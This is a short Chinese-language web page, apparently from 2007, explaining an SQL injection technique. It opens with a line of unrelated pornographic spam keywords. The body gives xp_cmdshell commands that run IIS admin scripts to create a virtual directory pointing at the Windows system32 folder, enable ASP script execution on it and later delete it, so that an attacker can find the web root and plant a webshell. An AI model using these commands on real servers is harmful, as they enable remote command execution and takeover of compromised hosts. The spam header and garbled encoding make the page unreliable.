亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

SQL注入建立虛擬目錄,找Web絕對路徑!

 更新時間：2007年01月16日 00:00:00   作者：  
我們很多情況下都遇到SQL注入可以列目錄和運(yùn)行命令，但是卻很不容易找到web所在目錄，也就不好得到一個webshell，這一招不錯： 

exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"' 
建立虛擬目錄win,指向c:\winnt\system32 
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture' 
讓win句有解析asp腳本權(quán)限 

exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/" 
刪除虛擬目錄。 
找不到web絕對路徑的一種解決辦法， 

http://21o.net/h4x0r 
403錯誤，表示虛擬目錄建好了。。。  

相關(guān)文章

最新評論